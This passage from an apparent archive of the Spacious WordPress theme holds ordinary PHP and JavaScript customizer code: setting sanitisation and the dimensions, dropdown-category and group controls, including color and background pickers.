			$standard_fonts = Spacious_Fonts::get_system_fonts();
			$google_fonts   = Spacious_Fonts::get_google_fonts();
			$custom_fonts   = Spacious_Fonts::get_custom_fonts();
			$valid_keys     = array_merge( $standard_fonts, $google_fonts );

			// If custom fonts is available, merge it to `$valid_keys` array to make those fonts ready for sanitization.
			if ( ! empty( $custom_fonts ) ) {
				$valid_keys = array_merge( $custom_fonts, $valid_keys );
			}

			if ( array_key_exists( $typography_args['font-family'], $valid_keys ) ) {
				$output['font-family'] = self::sanitize_text_field( $typography_args['font-family'] );
			}
		}

		// Sanitizing the font weight option.
		if ( isset( $typography_args['font-weight'] ) ) {

			$font_variants = Spacious_Fonts::get_font_variants();

			if ( array_key_exists( $typography_args['font-weight'], $font_variants ) ) {
				$output['font-weight'] = self::sanitize_key( $typography_args['font-weight'] );
			}
		}

		// Sanitizing the subsets option.
		if ( isset( $typography_args['subsets'] ) ) {

			$subsets        = Spacious_Fonts::get_google_font_subsets();
			$subsets_values = array();

			if ( is_array( $typography_args['subsets'] ) ) {

				foreach ( $typography_args['subsets'] as $key => $value ) {

					if ( array_key_exists( $value, $subsets ) ) {
						$subsets_values[] = self::sanitize_key( $value );
					}
				}

				$output['subsets'] = $subsets_values;
			}
		}

		// Sanitizing the font style option.
		if ( isset( $typography_args['font-style'] ) ) {
			$output['font-style'] = self::sanitize_key( $typography_args['font-style'] );
		}

		// Sanitizing the text transform option.
		if ( isset( $typography_args['text-transform'] ) ) {
			$output['text-transform'] = self::sanitize_key( $typography_args['text-transform'] );
		}

		// Sanitizing the text decoration option.
		if ( isset( $typography_args['text-decoration'] ) ) {
			$output['text-decoration'] = self::sanitize_key( $typography_args['text-decoration'] );
		}

		// Sanitizing the font size option.
		if ( isset( $typography_args['font-size'] ) && is_array( $typography_args['font-size'] ) ) {

			$font_size_values = array();

			$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;

			foreach ( $typography_args['font-size'] as $key => $value ) {

				if ( isset( $key ) && ! empty( $value ) ) {

					if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {

						foreach ( $input_attrs as $input_key => $input_value ) {

							$input_value['font-size']['min']  = isset( $input_value['font-size']['min'] ) ? $input_value['font-size']['min'] : 0;
							$input_value['font-size']['step'] = isset( $input_value['font-size']['step'] ) ? $input_value['font-size']['step'] : 1;

							if ( isset( $input_value['font-size']['max'] ) && $value > $input_value['font-size']['max'] ) {
								$font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['max'] );
							} elseif ( $value < $input_value['font-size']['min'] ) {
								$font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['min'] );
							} else {
								$font_size_values[ $key ] = self::sanitize_text_field( $value );
							}
						}
					} else {
						$font_size_values[ $key ] = self::sanitize_text_field( $value );
					}
				}

				$output['font-size'] = $font_size_values;

			}
		}

		// Sanitizing the line height option.
		if ( isset( $typography_args['line-height'] ) && is_array( $typography_args['line-height'] ) ) {

			$line_height_values = array();

			$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;

			foreach ( $typography_args['line-height'] as $key => $value ) {

				if ( isset( $key ) && ! empty( $value ) ) {

					if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {

						foreach ( $input_attrs as $input_key => $input_value ) {

							$input_value['line-height']['min']  = isset( $input_value['line-height']['min'] ) ? $input_value['line-height']['min'] : 0;
							$input_value['line-height']['step'] = isset( $input_value['line-height']['step'] ) ? $input_value['line-height']['step'] : 1;

							if ( isset( $input_value['line-height']['max'] ) && $value > $input_value['line-height']['max'] ) {
								$line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['max'] );
							} elseif ( $value < $input_value['line-height']['min'] ) {
								$line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['min'] );
							} else {
								$line_height_values[ $key ] = self::sanitize_text_field( $value );
							}
						}
					} else {
						$line_height_values[ $key ] = self::sanitize_text_field( $value );
					}
				}

				$output['line-height'] = $line_height_values;

			}
		}

		// Sanitizing the letter spacing option.
		if ( isset( $typography_args['letter-spacing'] ) && is_array( $typography_args['letter-spacing'] ) ) {

			$letter_spacing_values = array();

			$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;

			foreach ( $typography_args['letter-spacing'] as $key => $value ) {

				if ( isset( $key ) && ! empty( $value ) ) {

					if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {

						foreach ( $input_attrs as $input_key => $input_value ) {

							$input_value['letter-spacing']['min']  = isset( $input_value['letter-spacing']['min'] ) ? $input_value['letter-spacing']['min'] : 0;
							$input_value['letter-spacing']['step'] = isset( $input_value['letter-spacing']['step'] ) ? $input_value['letter-spacing']['step'] : 1;

							if ( isset( $input_value['letter-spacing']['max'] ) && $value > $input_value['letter-spacing']['max'] ) {
								$letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['max'] );
							} elseif ( $value < $input_value['letter-spacing']['min'] ) {
								$letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['min'] );
							} else {
								$letter_spacing_values[ $key ] = self::sanitize_text_field( $value );
							}
						}
					} else {
						$letter_spacing_values[ $key ] = sanitize_text_field( $value );
					}
				}

				$output['letter-spacing'] = $letter_spacing_values;

			}
		}

		return $output;

	}

	/**
	 * Sanitize the sortable value set within customizer controls.
	 *
	 * @param number $input   Customizer setting input sortable arguments.
	 * @param object $setting Setting object.
	 *
	 * @return mixed
	 */
	public static function sanitize_sortable( $input, $setting ) {

		// Get list of choices from the control associated with the setting.
		$choices    = $setting->manager->get_control( $setting->id )->choices;
		$input_keys = $input;

		foreach ( $input_keys as $key => $value ) {
			if ( ! array_key_exists( $value, $choices ) ) {
				unset( $input[ $key ] );
			}
		}

		// If the input is a valid key, return it, otherwise, return the default.
		return ( is_array( $input ) ? $input : $setting->default );

	}

}
core/custom-controls/dropdown-categories/class-spacious-dropdown-categories-control.php000066600000005420152367043330025736 0ustar00<?php
/**
 * Extend WP_Customize_Control to add dropdown categories control.
 *
 * Class Spacious_Dropdown_Categories_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add dropdown categories customize control.
 *
 * Class Spacious_Dropdown_Categories_Control
 */
class Spacious_Dropdown_Categories_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-dropdown-categories';

	/**
	 * Dropdown categories array for this control.
	 *
	 * @var array
	 */
	public $dropdown = array();

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$dropdown = wp_dropdown_categories(
			array(
				'echo'              => false,
				'name'              => '_customize-dropdown-categories-' . esc_attr( $this->id ),
				'show_option_none'  => ' ',
				'option_none_value' => '-1',
				'selected'          => esc_attr( $this->value() ),
			)
		);

		// Add in the data link parameter for dropdown categories.
		$dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown );

		$this->json['dropdown'] = $dropdown;

		$this->json['inputAttrs'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div class="customize-control-content">
			{{{ data.dropdown }}}
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/dropdown-categories/dropdown-categories.js000066600000000745152367043330021163 0ustar00/**
 * Dropdown categories control JS to handle the dropdown categories customize control.
 *
 * File `dropdown-categorie.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'change', 'select', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );
core/custom-controls/class-spacious-customize-base-control.php000066600000004044152367043330020733 0ustar00<?php
/**
 * Spacious customizer base control class for theme customize options.
 *
 * Class Spacious_Customize_Base_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Spacious customizer base control class.
 *
 * Class Spacious_Customize_Base_Control
 */
class Spacious_Customize_Base_Control {

	/**
	 * Registered Controls.
	 *
	 * @var array
	 */
	public static $controls;

	/**
	 * Add Control to self::$controls and register custom controls to WordPress Customizer.
	 *
	 * @param string $name       Slug for the control.
	 * @param array  $attributes Control Attributes.
	 *
	 * @return void
	 */
	public static function add_control( $name, $attributes ) {

		global $wp_customize;
		self::$controls[ $name ] = $attributes;

		if ( isset( $attributes['callback'] ) ) {
			$wp_customize->register_control_type( $attributes['callback'] );
		}

	}

	/**
	 * Returns control instance.
	 *
	 * @param string $control_type Control type.
	 *
	 * @return string
	 */
	public static function get_control_instance( $control_type ) {

		$control_class = self::get_control( $control_type );

		if ( isset( $control_class['callback'] ) ) {
			return class_exists( $control_class['callback'] ) ? $control_class['callback'] : false;
		}

		return false;

	}

	/**
	 * Returns control and its attributes.
	 *
	 * @param string $control_type Control type.
	 *
	 * @return array
	 */
	public static function get_control( $control_type ) {

		if ( isset( self::$controls[ $control_type ] ) ) {
			return self::$controls[ $control_type ];
		}

		return array();

	}

	/**
	 * Returns santize callback for control.
	 *
	 * @param string $control Control type for customize option.
	 *
	 * @return string
	 */
	public static function get_sanitize_callback( $control ) {

		if ( isset( self::$controls[ $control ]['sanitize_callback'] ) ) {
			return self::$controls[ $control ]['sanitize_callback'];
		}

		return false;

	}

}

return new Spacious_Customize_Base_Control();
core/custom-controls/dimensions/dimensions.js000066600000010046152367043330015540 0ustar00/**
 * Dimensions JS to handle the background customize option.
 *
 * File `background.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( {

    ready : function () {

        'use strict';

        var control = this;

        // Top Dimension setting.
        control.container.on( 'change keyup paste input', '.top input', function () {
            control.updateTop();
        } );

        // Right Dimension setting.
        control.container.on( 'change keyup paste input', '.right input', function () {
            control.updateRight();
        } );

        // Left Dimension setting.
        control.container.on( 'change keyup paste input', '.left input', function () {
            control.updateLeft();
        } );

        // Bottom Dimension setting.
        control.container.on( 'change keyup paste input', '.bottom input', function () {
            control.updateBottom();
        } );

    },

    updateTop : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'top' : {}
            };

        control.container.find( '.top .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['top'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateRight : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'right' : {}
            };

        control.container.find( '.right .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['right'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateBottom: function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'bottom' : {}
            };

        control.container.find( '.bottom .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['bottom'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateLeft : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'left' : {}
            };

        control.container.find( '.left .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['left'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

} );core/custom-controls/dimensions/class-spacious-dimensions-control.php000066600000010203152367043330022313 0ustar00<?php
/**
 * Customize Dimensions control class.
 *
 * @package spacious
 *
 * @see     WP_Customize_Control
 * @access  public
 */

/**
 * Class Spacious_Dimensions_Control
 */
class Spacious_Dimensions_Control extends Spacious_Customize_Base_Additional_Control {


	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-dimensions';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']    = $this->get_link();
		$this->json['choices']     = $this->choices;

	}

	/**
	 * Renders the Underscore template for this control.
	 *
	 * @see    WP_Customize_Control::print_template()
	 * @access protected
	 * @return void
	 */
	protected function content_template() {
		?>

        <label>
            <# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #>
            <# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><#
            } #>
            <div class="wrapper">
                <div class="control">
                    <# if ( data.default['top'] ) { #>
                    <div class="top">
                        <h5>Top</h5>
                        <div class="input-wrapper">
                            <input type="text"
                            <# if ( data.value['top'] ) { #>
                            value="{{ data.value['top'] }}"
                            <# } else { #>
                            value="{{ data.default['top'] }}"
                            <# } #>
                            />

                        </div>
                    </div>
                    <# } #>

                    <# if ( data.default['right'] ) { #>
                    <div class="right">
                        <h5>Right</h5>
                        <div class="input-wrapper">
                            <input type="text"
                            <# if ( data.value['right'] ) { #>
                            value="{{ data.value['right'] }}"
                            <# } else { #>
                            value="{{ data.default['right'] }}"
                            <# } #>
                            />

                        </div>
                    </div>
                    <# } #>

                    <# if ( data.default['bottom'] ) { #>
                    <div class="bottom">
                        <h5>Bottom</h5>
                        <div class="input-wrapper">
                            <input type="text"
                            <# if ( data.value['bottom'] ) { #>
                            value="{{ data.value['bottom'] }}"
                            <# } else { #>
                            value="{{ data.default['bottom'] }}"
                            <# } #>
                            />

                        </div>
                    </div>
                    <# } #>

                    <# if ( data.default['left'] ) { #>
                    <div class="left">
                        <h5>Left</h5>
                        <div class="input-wrapper">
                            <input type="text"
                            <# if ( data.value['left'] ) { #>
                            value="{{ data.value['left'] }}"
                            <# } else { #>
                            value="{{ data.default['left'] }}"
                            <# } #>
                            />

                        </div>
                    </div>
                </div>
                <# } #>

                <input class="dimensions-hidden-value"
                       value="{{ JSON.stringify( data.value ) }}"
                       type="hidden" {{{ data.link }}}
                >

            </div>
        </label>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	protected function render_content() {

	}

}
core/custom-controls/group/class-spacious-group-control.php000066600000007016152367043330020273 0ustar00<?php
/**
 * Extend WP_Customize_Control to include group control.
 *
 * Class Spacious_Group_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the group customize control.
 *
 * Class Spacious_Group_Control
 */
class Spacious_Group_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-group';

	/**
	 * The control name.
	 *
	 * @var string
	 */
	public $name = '';

	/**
	 * The control tab value.
	 *
	 * @var string
	 */
	public $tab = '';

	/**
	 * The fields for group.
	 *
	 * @var string
	 */
	public $spacious_fields = '';

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {

		parent::enqueue();

		// Enqueue jQuery UI tabs.
		wp_enqueue_script( 'jquery-ui-tabs' );

		$tmpl = '<div class="spacious-field-settings-modal">';
		$tmpl .= '<ul class="spacious-fields-wrap">';
		$tmpl .= '</ul>';
		$tmpl .= '</div>';

		wp_localize_script(
			'spacious-customize-controls',
			'SpaciousCustomizerControlGroup',
			array(
				'group_modal_tmpl' => $tmpl,
			)
		);

	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['name'] = $this->name;
		$config             = array();

		if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] ) ) {

			$tab = array_keys( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] );

			foreach ( $tab as $key => $value ) {
				$config['tabs'][ $value ] = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'][ $value ], 'priority' );
			}
		} else {

			if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ] ) ) {
				$config = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ], 'priority' );
			}
		}

		$this->json['spacious_fields'] = $config;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="spacious-group-wrap">
			<div class="customizer-text">
				<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
				<# } #>

				<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
				<# } #>

				<span
					class="spacious-group-toggle-icon dashicons <# if ( data.description ) { #>toggle-description<# } #>"
					data-control="{{ data.name }}"></span>
			</div>
		</div>

		<div class="spacious-field-settings-wrap">
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/group/group.js000066600000074714152367043330013524 0ustar00/**
 * Group control JS to handle the group customize option.
 *
 * File `group.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				control.registerToggleEvents();
				this.container.on( 'spacious_settings_changed', control.onOptionChange );

			},

			registerToggleEvents : function () {

				var control = this;

				/* Close popup when click outside on customize sidebar area */
				$( '.wp-full-overlay-sidebar-content' ).click(
					function ( e ) {
						if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) {
							$( '.spacious-group-toggle-icon.open' ).trigger( 'click' );
						}
					}
				);

				control.container.on(
					'click',
					'.spacious-group-wrap .spacious-group-toggle-icon',
					function ( e ) {

						e.preventDefault();
						e.stopPropagation();

						var $this          = $( this ),
						    parent_wrap    = $this.closest( '.customize-control-spacious-group' ),
						    is_loaded      = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ),
						    parent_section = parent_wrap.parents( '.control-section' );

						if ( $this.hasClass( 'open' ) ) {
							parent_wrap.find( '.spacious-field-settings-modal' ).hide();
						} else {

							/* Close popup when another popup is clicked */
							var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' );
							if ( get_open_popup.length > 0 ) {
								get_open_popup.trigger( 'click' );
							}

							if ( is_loaded ) {
								parent_wrap.find( '.spacious-field-settings-modal' ).show();
							} else {

								var fields     = control.params.spacious_fields,
								    modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ),
								    device     = $( '#customize-footer-actions .active' ).attr( 'data-device' );

								parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap );
								parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name );
								control.spacious_render_field( parent_wrap, fields, control );
								parent_wrap.find( '.spacious-field-settings-modal' ).show();

								if ( 'mobile' === device ) {
									$( '.control-wrap.mobile' ).addClass( 'active' );
									$( '.responsive-switchers .preview-mobile' ).addClass( 'active' );

									$( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
								} else if ( 'tablet' === device ) {
									$( '.control-wrap.tablet' ).addClass( 'active' );
									$( '.responsive-switchers .preview-tablet' ).addClass( 'active' );

									$( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
								} else {
									$( '.control-wrap.desktop' ).addClass( 'active' );
									$( '.responsive-switchers .preview-desktop' ).addClass( 'active' );

									$( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' );
								}

							}

						}

						$this.toggleClass( 'open' );

					}
				);

				control.container.on(
					'click',
					'.spacious-group-wrap > .customizer-text',
					function ( e ) {

						e.preventDefault();
						e.stopPropagation();

						$( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' );

					}
				);

			},

			spacious_render_field : function ( wrap, fields, control_element ) {

				var control             = this;
				var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' );
				var fields_html         = '';
				var control_types       = [];
				var field_values        = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {};

				if ( 'undefined' != typeof fields.tabs ) {

					var counter = 0;
					fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">';

					fields_html += '<ul class="spacious-group-list">';
					_.each(
						fields.tabs,
						function ( value, key ) {
							var li_class = '';

							if ( 0 === counter ) {
								li_class = "active";
							}

							fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>';
							counter ++;
						}
					);
					fields_html += '</ul>';

					fields_html += '<div class="spacious-tab-content" >';
					_.each(
						fields.tabs,
						function ( fields_data, key ) {

							var result = control.generateFieldHtml( fields_data, field_values );

							fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">';
							fields_html += result.html;

							_.each(
								result.controls,
								function ( control_value, control_key ) {
									control_types.push(
										{
											key   : control_value.key,
											value : control_value.value,
											name  : control_value.name
										}
									);
								}
							);

							fields_html += '</div>';

						}
					);
					fields_html += '</div>';

					fields_html += '</div>';

					spacious_field_wrap.html( fields_html );

					$( '#' + control_element.params.name + '-tabs' ).tabs();

				} else {

					var result = control.generateFieldHtml( fields, field_values );

					fields_html += result.html;

					_.each(
						result.controls,
						function ( control_value, control_key ) {
							control_types.push(
								{
									key   : control_value.key,
									value : control_value.value,
									name  : control_value.name
								}
							);
						}
					);

					spacious_field_wrap.html( fields_html );

				}

				_.each(
					control_types,
					function ( control_type, index ) {

						switch ( control_type.key ) {

							case 'spacious-color':
								control.initColorControl( spacious_field_wrap, control_element, control_type.name );
								break;

							case 'spacious-background':
								control.initBackgroundControl( control_element, control_type, control_type.name );
								break;

							case 'spacious-typography':
								control.initTypographyControl( control_element, control_type, control_type.name );
								break;

						}

					}
				);

				wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true );

			},

			isJSONString : function ( string ) {

				try {
					JSON.parse( string );
				} catch ( e ) {
					return false;
				}

				return true;

			},

			generateFieldHtml : function ( fields_data, field_values ) {

				var fields_html   = '';
				var control_types = [];

				_.each(
					fields_data,
					function ( attr, index ) {

						var new_value   = (
							    wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : ''
						    ),
						    control     = attr.control,
						    template_id = 'customize-control-' + control + '-content',
						    template    = wp.template( template_id ),
						    value       = new_value || attr.default,
						    dataAtts    = '',
						    input_attrs = '';

						attr.value = value;
						attr.title = attr.label;

						// Data attributes.
						_.each(
							attr.data_attrs,
							function ( value, name ) {
								dataAtts += ' data-' + name + ' ="' + value + '"';
							}
						);

						// Input attributes.
						_.each(
							attr.input_attrs,
							function ( value, name ) {
								input_attrs += name + ' ="' + value + '"';
							}
						);

						attr.dataAttrs  = dataAtts;
						attr.inputAttrs = input_attrs;

						control_types.push(
							{
								key   : control,
								value : value,
								name  : attr.name
							}
						);

						var responsive_switchers = '',
						    controlsType         = [
							    'spacious-typography'
						    ];

						if ( (
							     'spacious-typography' === attr.control
						     ) && controlsType.includes( attr.control ) ) {
							attr.languages = SpaciousCustomizerControlTypographySubsets;
						}

						if ( controlsType.includes( attr.control ) ) {
							responsive_switchers = 'has-responsive-switchers';
						}

						fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >';
						fields_html += template( attr );
						fields_html += '</li>';

					}
				);

				var result = new Object();

				result.controls = control_types;
				result.html     = fields_html;

				return result;

			},

			onOptionChange : function ( e, control, element, value, name ) {

				var control_id = $( '.hidden-field-' + name );
				control_id.val( value );

				var sub_control = wp.customize.control( name );
				sub_control.setting.set( value );

			},

			initColorControl : function ( wrap, control_elem, name ) {

				var control     = this;
				var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' );

				colorpicker.wpColorPicker(
					{
						change : function ( event, ui ) {

							if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) {
								var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
								name        = $( element ).parents( '.customize-control' ).attr( 'id' );
								name        = name.replace( 'customize-control-', '' );

								$( element ).val( ui.color.toString() );

								control.container.trigger(
									'spacious_settings_changed',
									[
										control,
										$( element ),
										ui.color.toString(),
										name
									]
								);
							}

						},

						clear : function ( event ) {

							var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
							name        = $( element ).parents( '.customize-control' ).attr( 'id' );
							name        = name.replace( 'customize-control-', '' );

							$( element ).val( '' );

							control.container.trigger(
								'spacious_settings_changed',
								[
									control,
									$( element ),
									'',
									name
								]
							);

							wp.customize.previewer.refresh();

						}
					}
				);
			},

			initBackgroundControl : function ( control, control_atts, name ) {

				var input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    value            = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    colorpicker      = control.container.find( '.spacious-color-picker-alpha' ),
				    controlContainer = control.container.find( '#customize-control-' + control_name );

				// Hide unnecessary controls if the value doesn't have an image.
				if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
					controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
					controlContainer.find( '.customize-control-content > .background-position' ).hide();
					controlContainer.find( '.customize-control-content > .background-size' ).hide();
					controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
				}

				// Background color setting.
				colorpicker.wpColorPicker(
					{
						change : function () {

							if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) {
								var $this = $( this );

								setTimeout(
									function () {
										control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name );
									},
									100
								);
							}

						},

						clear : function ( event ) {

							var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];

							if ( element ) {
								control.saveBackgroundValue( 'background-color', '', $( element ), name );
							}

							wp.customize.previewer.refresh();

						}
					}
				);

				// Background image setting..
				controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
					var upload_img_btn = $( this );
					var image          = wp.media( { multiple : false } ).open().on( 'select', function () {

						// This will return the selected image from the Media Uploader, the result is an object.
						var uploadedImage = image.state().get( 'selection' ).first(),
						    previewImage  = uploadedImage.toJSON().sizes.full.url,
						    imageUrl,
						    imageID,
						    imageWidth,
						    imageHeight,
						    preview,
						    removeButton;

						if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
							previewImage = uploadedImage.toJSON().sizes.medium.url;
						} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
							previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
						}

						imageUrl    = uploadedImage.toJSON().sizes.full.url;
						imageID     = uploadedImage.toJSON().id;
						imageWidth  = uploadedImage.toJSON().width;
						imageHeight = uploadedImage.toJSON().height;

						// Show extra controls if the value has an image.
						if ( '' !== imageUrl ) {
							controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
						}

						control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name );
						preview      = controlContainer.find( '.placeholder, .thumbnail' );
						removeButton = controlContainer.find( '.background-image-upload-remove-button' );

